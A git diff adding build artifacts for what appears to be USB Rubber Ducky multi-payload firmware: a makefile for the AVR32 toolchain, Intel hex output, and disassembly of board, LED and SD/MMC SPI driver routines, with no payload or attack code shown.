-I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + + + +# AVR32/GNU Preprocessing Assembler + +src/asf/avr32/drivers/intc/%.o: ../src/asf/avr32/drivers/intc/%.S + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I "../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/intc/%.o: ../src/asf/avr32/drivers/intc/%.x + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I "../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/intc/%.o: ../src/asf/avr32/drivers/intc/%.X + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I "../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/utils/startup/%.o: ../src/asf/avr32/utils/startup/%.S + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I "../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/utils/startup/%.o: ../src/asf/avr32/utils/startup/%.x + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I "../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/utils/startup/%.o: ../src/asf/avr32/utils/startup/%.X + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I "../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + + + +# AVR32/GNU Assembler + + + + +ifneq ($(MAKECMDGOALS),clean) +ifneq ($(strip $(C_DEPS)),) +-include $(C_DEPS) +endif +endif + +# Add inputs and outputs from these tool invocations to the build variables + +# All Target +all: $(OUTPUT_FILE_PATH) $(ADDITIONAL_DEPENDENCIES) + +$(OUTPUT_FILE_PATH): $(OBJS) $(USER_OBJS) $(OUTPUT_FILE_DEP) + @echo Building target: $@ + @echo Invoking: AVR32/GNU C Linker + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -o$(OUTPUT_FILE_PATH_AS_ARGS) $(OBJS_AS_ARGS) $(USER_OBJS) $(LIBS) -nostartfiles -Wl,-Map="duck.map" -lm -Wl,--gc-sections -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax -mpart=uc3b0256 + @echo Finished building target: $@ + "C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-objcopy.exe" -O ihex -R .eeprom -R .fuse -R .lock -R .signature "duck.elf" "duck.hex" + "C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-objcopy.exe" -j .eeprom --set-section-flags=.eeprom=alloc,load --change-section-lma .eeprom=0 --no-change-warnings -O ihex "duck.elf" "duck.eep" || exit 0 + "C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-objdump.exe" -h -S "duck.elf" > "duck.lss" + "C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-size.exe" "duck.elf" + + + + + +# Other Targets +clean: + -$(RM) $(OBJS_AS_ARGS)$(C_DEPS_AS_ARGS) $(EXECUTABLES) + rm -rf "duck.hex" "duck.lss" "duck.eep" "duck.map" + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.eep b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.eep new file mode 100644 index 0000000..d08530b --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.eep @@ -0,0 +1,2 @@ +:040000058000000077 +:00000001FF diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.elf b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.elf new file mode 100644 index 0000000..4d055aa Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.elf differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.hex b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.hex new file mode 100644 index 0000000..5787790 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.hex @@ -0,0 +1,2065 @@ +:0200000480007A +:10000000E08F100000000000000000000000000071 +:1000100000000000000000000000000000000000E0 +:1000200000000000000000000000000000000000D0 +:1000300000000000000000000000000000000000C0 +:1000400000000000000000000000000000000000B0 +:1000500000000000000000000000000000000000A0 +:100060000000000000000000000000000000000090 +:100070000000000000000000000000000000000080 +:100080000000000000000000000000000000000070 +:100090000000000000000000000000000000000060 +:1000A0000000000000000000000000000000000050 +:1000B0000000000000000000000000000000000040 +:1000C0000000000000000000000000000000000030 +:1000D0000000000000000000000000000000000020 +:1000E0000000000000000000000000000000000010 +:1000F0000000000000000000000000000000000000 +:1001000000000000000000000000000000000000EF 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a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.lss b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.lss new file mode 100644 index 0000000..94461ce --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/duck.lss @@ -0,0 +1,18046 @@ + +duck.elf: file format elf32-avr32 + +Sections: +Idx Name Size VMA LMA File off Algn + 0 .reset 00002004 80000000 80000000 00000400 2**2 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 1 .rela.got 00000000 80002004 80002004 00002404 2**2 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 2 .text 00005b4c 80002004 80002004 00002404 2**2 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 3 .exception 00000200 80007c00 80007c00 00008000 2**9 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 4 .rodata 00000290 80007e00 80007e00 00008200 2**2 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 5 .dalign 00000004 00000004 00000004 00000000 2**0 + ALLOC + 6 .data 000000e4 00000008 80008090 00008808 2**2 + CONTENTS, ALLOC, LOAD, DATA + 7 .balign 00000004 000000ec 80008174 000088ec 2**0 + ALLOC + 8 .bss 00000668 000000f0 000000f0 00000000 2**2 + ALLOC + 9 .heap 000068a8 00000758 00000758 00000000 2**0 + ALLOC + 10 .comment 00000030 00000000 00000000 000088ec 2**0 + CONTENTS, READONLY + 11 .debug_aranges 00001070 00000000 00000000 0000891c 2**0 + CONTENTS, READONLY, DEBUGGING + 12 .debug_pubnames 00002ec3 00000000 00000000 0000998c 2**0 + CONTENTS, READONLY, DEBUGGING + 13 .debug_info 0001f413 00000000 00000000 0000c84f 2**0 + CONTENTS, READONLY, DEBUGGING + 14 .debug_abbrev 00003477 00000000 00000000 0002bc62 2**0 + CONTENTS, READONLY, DEBUGGING + 15 .debug_line 0000e26b 00000000 00000000 0002f0d9 2**0 + CONTENTS, READONLY, DEBUGGING + 16 .debug_frame 00002e58 00000000 00000000 0003d344 2**2 + CONTENTS, READONLY, DEBUGGING + 17 .debug_str 00008bc2 00000000 00000000 0004019c 2**0 + CONTENTS, READONLY, DEBUGGING + 18 .debug_loc 00007a54 00000000 00000000 00048d5e 2**0 + CONTENTS, READONLY, DEBUGGING + 19 .debug_macinfo 013fad40 00000000 00000000 000507b2 2**0 + CONTENTS, READONLY, DEBUGGING + 20 .stack 00001000 00007000 00007000 00000000 2**0 + ALLOC + 21 .debug_ranges 00001028 00000000 00000000 0144b4f2 2**0 + CONTENTS, READONLY, DEBUGGING + +Disassembly of section .reset: + +80000000 <_trampoline>: +80000000: e0 8f 10 00 bral 80002000 + ... + +80002000 : +80002000: fe cf b6 c4 sub pc,pc,-18748 + +Disassembly of section .text: + +80002004 : +#if defined (CONF_BOARD_AT45DBX) +#define AT45DBX_MEM_CNT 1 +#endif + +void board_init(void) +{ +80002004: d4 01 pushm lr + gpio_configure_pin(LED0_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); +80002006: 30 3b mov r11,3 +80002008: 30 7c mov r12,7 +8000200a: f0 1f 00 14 mcall 80002058 + gpio_configure_pin(LED1_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); +8000200e: 30 3b mov r11,3 +80002010: 30 8c mov r12,8 +80002012: f0 1f 00 12 mcall 80002058 + gpio_configure_pin(LED2_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); +80002016: 30 3b mov r11,3 +80002018: 31 5c mov r12,21 +8000201a: f0 1f 00 10 mcall 80002058 + gpio_configure_pin(LED3_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); +8000201e: 30 3b mov r11,3 +80002020: 31 6c mov r12,22 +80002022: f0 1f 00 0e mcall 80002058 + + gpio_configure_pin(GPIO_PUSH_BUTTON_0,GPIO_DIR_INPUT); +80002026: 30 0b mov r11,0 +80002028: 32 2c mov r12,34 +8000202a: f0 1f 00 0c mcall 80002058 + gpio_configure_pin(GPIO_PUSH_BUTTON_1,GPIO_DIR_INPUT); +8000202e: 30 0b mov r11,0 +80002030: 32 3c mov r12,35 +80002032: f0 1f 00 0a mcall 80002058 + gpio_configure_pin(GPIO_JOYSTICK_PUSH,GPIO_DIR_INPUT); +80002036: 30 0b mov r11,0 +80002038: 30 dc mov r12,13 +8000203a: f0 1f 00 08 mcall 80002058 + gpio_configure_pin(GPIO_JOYSTICK_LEFT,GPIO_DIR_INPUT); +8000203e: 30 0b mov r11,0 +80002040: 32 6c mov r12,38 +80002042: f0 1f 00 06 mcall 80002058 + gpio_configure_pin(GPIO_JOYSTICK_UP,GPIO_DIR_INPUT); +80002046: 30 0b mov r11,0 +80002048: 32 7c mov r12,39 +8000204a: f0 1f 00 04 mcall 80002058 + gpio_configure_pin(GPIO_JOYSTICK_DOWN,GPIO_DIR_INPUT); +8000204e: 30 0b mov r11,0 +80002050: 32 8c mov r12,40 +80002052: f0 1f 00 02 mcall 80002058 + // Assign GPIO pins to USB. + gpio_enable_module(USB_GPIO_MAP, + sizeof(USB_GPIO_MAP) / sizeof(USB_GPIO_MAP[0])); +#endif + +} +80002056: d8 02 popm pc +80002058: 80 00 ld.sh r0,r0[0x0] +8000205a: 2e 88 sub r8,-24 + +8000205c : + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; +8000205c: f9 dc c0 04 bfextu r12,r12,0x0,0x4 + + // Update the saved state of all LEDs with the requested changes. + Set_bits(LED_State, leds); +80002060: 49 18 lddpc r8,800020a4 +80002062: 70 09 ld.w r9,r8[0x0] +80002064: f9 e9 10 09 or r9,r12,r9 +80002068: 91 09 st.w r8[0x0],r9 + + // While there are specified LEDs left to manage... + while (leds) +8000206a: 58 0c cp.w r12,0 +8000206c: 5e 0c reteq r12 +8000206e: 48 f8 lddpc r8,800020a8 +80002070: 21 08 sub r8,16 + { + // Select the next specified LED and turn it on. + led_shift = 1 + ctz(leds); +80002072: 18 9a mov r10,r12 +80002074: 5c 9a brev r10 +80002076: f4 0a 12 00 clz r10,r10 +8000207a: 2f fa sub r10,-1 + led_descriptor += led_shift; +8000207c: f4 09 15 04 lsl r9,r10,0x4 +80002080: 12 08 add r8,r9 + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; +80002082: 70 09 ld.w r9,r8[0x0] +80002084: a9 69 lsl r9,0x8 +80002086: e0 29 f0 00 sub r9,61440 + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; +8000208a: 70 1b ld.w r11,r8[0x4] +8000208c: f3 4b 00 58 st.w r9[88],r11 + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; +80002090: 70 1b ld.w r11,r8[0x4] +80002092: f3 4b 00 44 st.w r9[68],r11 + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; +80002096: 70 1b ld.w r11,r8[0x4] +80002098: 93 1b st.w r9[0x4],r11 + leds >>= led_shift; +8000209a: f8 0a 0a 4c lsr r12,r12,r10 + + // Update the saved state of all LEDs with the requested changes. + Set_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) +8000209e: ce a1 brne 80002072 +800020a0: 5e fc retal r12 +800020a2: 00 00 add r0,r0 +800020a4: 00 00 add r0,r0 +800020a6: 00 08 add r8,r0 +800020a8: 80 00 ld.sh r0,r0[0x0] +800020aa: 7e 00 ld.w r0,pc[0x0] + +800020ac : + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; +800020ac: f9 dc c0 04 bfextu r12,r12,0x0,0x4 + + // Update the saved state of all LEDs with the requested changes. + Clr_bits(LED_State, leds); +800020b0: 49 28 lddpc r8,800020f8 +800020b2: 70 09 ld.w r9,r8[0x0] +800020b4: f8 0a 11 ff rsub r10,r12,-1 +800020b8: f5 e9 00 09 and r9,r10,r9 +800020bc: 91 09 st.w r8[0x0],r9 + + // While there are specified LEDs left to manage... + while (leds) +800020be: 58 0c cp.w r12,0 +800020c0: 5e 0c reteq r12 +800020c2: 48 f8 lddpc r8,800020fc +800020c4: 21 08 sub r8,16 + { + // Select the next specified LED and turn it off. + led_shift = 1 + ctz(leds); +800020c6: 18 9a mov r10,r12 +800020c8: 5c 9a brev r10 +800020ca: f4 0a 12 00 clz r10,r10 +800020ce: 2f fa sub r10,-1 + led_descriptor += led_shift; +800020d0: f4 09 15 04 lsl r9,r10,0x4 +800020d4: 12 08 add r8,r9 + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; +800020d6: 70 09 ld.w r9,r8[0x0] +800020d8: a9 69 lsl r9,0x8 +800020da: e0 29 f0 00 sub r9,61440 + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; +800020de: 70 1b ld.w r11,r8[0x4] +800020e0: f3 4b 00 54 st.w r9[84],r11 + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; +800020e4: 70 1b ld.w r11,r8[0x4] +800020e6: f3 4b 00 44 st.w r9[68],r11 + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; +800020ea: 70 1b ld.w r11,r8[0x4] +800020ec: 93 1b st.w r9[0x4],r11 + leds >>= led_shift; +800020ee: f8 0a 0a 4c lsr r12,r12,r10 + + // Update the saved state of all LEDs with the requested changes. + Clr_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) +800020f2: ce a1 brne 800020c6 +800020f4: 5e fc retal r12 +800020f6: 00 00 add r0,r0 +800020f8: 00 00 add r0,r0 +800020fa: 00 08 add r8,r0 +800020fc: 80 00 ld.sh r0,r0[0x0] +800020fe: 7e 00 ld.w r0,pc[0x0] + +80002100 : +//! [39] == data[11] && 0x80 +//! +//! @return bit +//! OK +void sd_mmc_spi_get_capacity(void) +{ +80002100: d4 01 pushm lr + uint8_t read_bl_len; + uint8_t erase_grp_size; + uint8_t erase_grp_mult; + + // extract variables from CSD array + read_bl_len = csd[5] & 0x0F; +80002102: 4b c8 lddpc r8,800021f0 +80002104: 11 dc ld.ub r12,r8[0x5] + if (card_type == SD_CARD_2_SDHC) { +80002106: 4b c9 lddpc r9,800021f4 +80002108: 13 89 ld.ub r9,r9[0x0] +8000210a: 30 3a mov r10,3 +8000210c: f4 09 18 00 cp.b r9,r10 +80002110: c1 e1 brne 8000214c + c_size = ((csd[7] & 0x3F) << 16) | (csd[8] << 8) | csd[9]; +80002112: f1 3a 00 08 ld.ub r10,r8[8] +80002116: f1 39 00 09 ld.ub r9,r8[9] +8000211a: f3 ea 10 89 or r9,r9,r10<<0x8 +8000211e: 11 f8 ld.ub r8,r8[0x7] +80002120: f1 d8 c0 06 bfextu r8,r8,0x0,0x6 +80002124: f3 e8 11 08 or r8,r9,r8<<0x10 + ++c_size; +80002128: 2f f8 sub r8,-1 + capacity = c_size << 19; +8000212a: f0 0a 15 13 lsl r10,r8,0x13 +8000212e: 4b 39 lddpc r9,800021f8 +80002130: 93 0a st.w r9[0x0],r10 + capacity_mult = (c_size >> 13) & 0x01FF; +80002132: f5 d8 c1 a9 bfextu r10,r8,0xd,0x9 +80002136: 4b 28 lddpc r8,800021fc +80002138: b0 0a st.h r8[0x0],r10 + sd_mmc_spi_last_block_address = (capacity >> 9) + (capacity_mult << 23) - 1; +8000213a: 72 09 ld.w r9,r9[0x0] +8000213c: 90 08 ld.sh r8,r8[0x0] +8000213e: a9 99 lsr r9,0x9 +80002140: 20 19 sub r9,1 +80002142: b7 78 lsl r8,0x17 +80002144: 10 09 add r9,r8 +80002146: 4a f8 lddpc r8,80002200 +80002148: 91 09 st.w r8[0x0],r9 +8000214a: c4 28 rjmp 800021ce + } else { + c_size = ((csd[6] & 0x03) << 10) + (csd[7] << 2) + ((csd[8] & 0xC0) >> 6); + c_size_mult = ((csd[9] & 0x03) << 1) + ((csd[10] & 0x80) >> 7); +8000214c: 4a 98 lddpc r8,800021f0 +8000214e: f1 3a 00 0a ld.ub r10,r8[10] + sd_mmc_spi_last_block_address = ((uint32_t)(c_size + 1) * (uint32_t)((1 << (c_size_mult + 2)))) - 1; +80002152: f1 3b 00 08 ld.ub r11,r8[8] +80002156: a7 8b lsr r11,0x6 +80002158: 11 fe ld.ub lr,r8[0x7] +8000215a: f6 0e 00 2b add r11,r11,lr<<0x2 +8000215e: 11 ee ld.ub lr,r8[0x6] +80002160: fd de c0 02 bfextu lr,lr,0x0,0x2 +80002164: ab 6e lsl lr,0xa +80002166: 1c 0b add r11,lr +80002168: 2f fb sub r11,-1 +8000216a: f1 38 00 09 ld.ub r8,r8[9] +8000216e: f1 d8 c0 02 bfextu r8,r8,0x0,0x2 +80002172: f4 0e 16 07 lsr lr,r10,0x7 +80002176: fc 08 00 18 add r8,lr,r8<<0x1 +8000217a: 2f e8 sub r8,-2 +8000217c: f6 08 09 48 lsl r8,r11,r8 +80002180: 20 18 sub r8,1 +80002182: 4a 0b lddpc r11,80002200 +80002184: 97 08 st.w r11[0x0],r8 + capacity = (1 << read_bl_len) * (sd_mmc_spi_last_block_address + 1); +80002186: 76 0b ld.w r11,r11[0x0] +80002188: f1 dc c0 04 bfextu r8,r12,0x0,0x4 +8000218c: f6 cc ff ff sub r12,r11,-1 +80002190: f8 08 09 4c lsl r12,r12,r8 +80002194: 49 9b lddpc r11,800021f8 +80002196: 97 0c st.w r11[0x0],r12 + capacity_mult = 0; +80002198: 30 0c mov r12,0 +8000219a: 49 9b lddpc r11,800021fc +8000219c: b6 0c st.h r11[0x0],r12 + if (read_bl_len > 9) { // 9 means 2^9 = 512b +8000219e: 30 9b mov r11,9 +800021a0: f6 08 18 00 cp.b r8,r11 +800021a4: e0 88 00 08 brls 800021b4 + sd_mmc_spi_last_block_address <<= (read_bl_len - 9); +800021a8: 49 6b lddpc r11,80002200 +800021aa: 76 0c ld.w r12,r11[0x0] +800021ac: 20 98 sub r8,9 +800021ae: f8 08 09 48 lsl r8,r12,r8 +800021b2: 97 08 st.w r11[0x0],r8 + } + } + if (card_type == MMC_CARD) +800021b4: 58 09 cp.w r9,0 +800021b6: c0 c1 brne 800021ce + { + erase_grp_size = ((csd[10] & 0x7C) >> 2); +800021b8: f1 da c0 45 bfextu r8,r10,0x2,0x5 + erase_grp_mult = ((csd[10] & 0x03) << 3) | ((csd[11] & 0xE0) >> 5); +800021bc: f5 da c0 02 bfextu r10,r10,0x0,0x2 +800021c0: 48 c9 lddpc r9,800021f0 +800021c2: f3 39 00 0b ld.ub r9,r9[11] +800021c6: a3 7a lsl r10,0x3 +800021c8: f5 e9 12 59 or r9,r10,r9>>0x5 +800021cc: c0 c8 rjmp 800021e4 + } + else + { + erase_grp_size = ((csd[10] & 0x3F) << 1) + ((csd[11] & 0x80) >> 7); +800021ce: 48 9a lddpc r10,800021f0 +800021d0: f5 39 00 0a ld.ub r9,r10[10] +800021d4: f3 d9 c0 06 bfextu r9,r9,0x0,0x6 +800021d8: f5 38 00 0b ld.ub r8,r10[11] +800021dc: a7 98 lsr r8,0x7 +800021de: f0 09 00 18 add r8,r8,r9<<0x1 +800021e2: 30 09 mov r9,0 + erase_grp_mult = 0; + } + erase_group_size = (erase_grp_size + 1) * (erase_grp_mult + 1); +800021e4: 2f f9 sub r9,-1 +800021e6: 2f f8 sub r8,-1 +800021e8: b1 39 mul r9,r8 +800021ea: 48 78 lddpc r8,80002204 +800021ec: b0 09 st.h r8[0x0],r9 +} +800021ee: d8 02 popm pc +800021f0: 00 00 add r0,r0 +800021f2: 04 14 sub r4,r2 +800021f4: 00 00 add r0,r0 +800021f6: 04 12 sub r2,r2 +800021f8: 00 00 add r0,r0 +800021fa: 04 04 add r4,r2 +800021fc: 00 00 add r0,r0 +800021fe: 04 08 add r8,r2 +80002200: 00 00 add r0,r0 +80002202: 04 0c add r12,r2 +80002204: 00 00 add r0,r0 +80002206: 04 0a add r10,r2 + +80002208 : +//! page programming. +//! +void sd_mmc_spi_write_close (void) +{ + +} +80002208: 5e fc retal r12 +8000220a: d7 03 nop + +8000220c : +//! @param data_to_send byte to send over SPI +//! +//! @return uint8_t +//! Byte read from the slave +uint8_t sd_mmc_spi_send_and_read(uint8_t data_to_send) +{ +8000220c: d4 01 pushm lr +8000220e: 20 1d sub sp,4 + unsigned short data_read; + spi_write(SD_MMC_SPI, data_to_send); +80002210: 18 9b mov r11,r12 +80002212: fe 7c 24 00 mov r12,-56320 +80002216: f0 1f 00 09 mcall 80002238 + if( SPI_ERROR_TIMEOUT == spi_read(SD_MMC_SPI, &data_read) ) +8000221a: fa cb ff fe sub r11,sp,-2 +8000221e: fe 7c 24 00 mov r12,-56320 +80002222: f0 1f 00 07 mcall 8000223c +80002226: 58 1c cp.w r12,1 +80002228: c0 41 brne 80002230 +8000222a: e0 6c 00 ff mov r12,255 +8000222e: c0 28 rjmp 80002232 + return 0xFF; + return data_read; +80002230: 1b bc ld.ub r12,sp[0x3] +} +80002232: 2f fd sub sp,-4 +80002234: d8 02 popm pc +80002236: 00 00 add r0,r0 +80002238: 80 00 ld.sh r0,r0[0x0] +8000223a: 31 c6 mov r6,28 +8000223c: 80 00 ld.sh r0,r0[0x0] +8000223e: 31 e2 mov r2,30 + +80002240 : +//! @brief This function waits until the 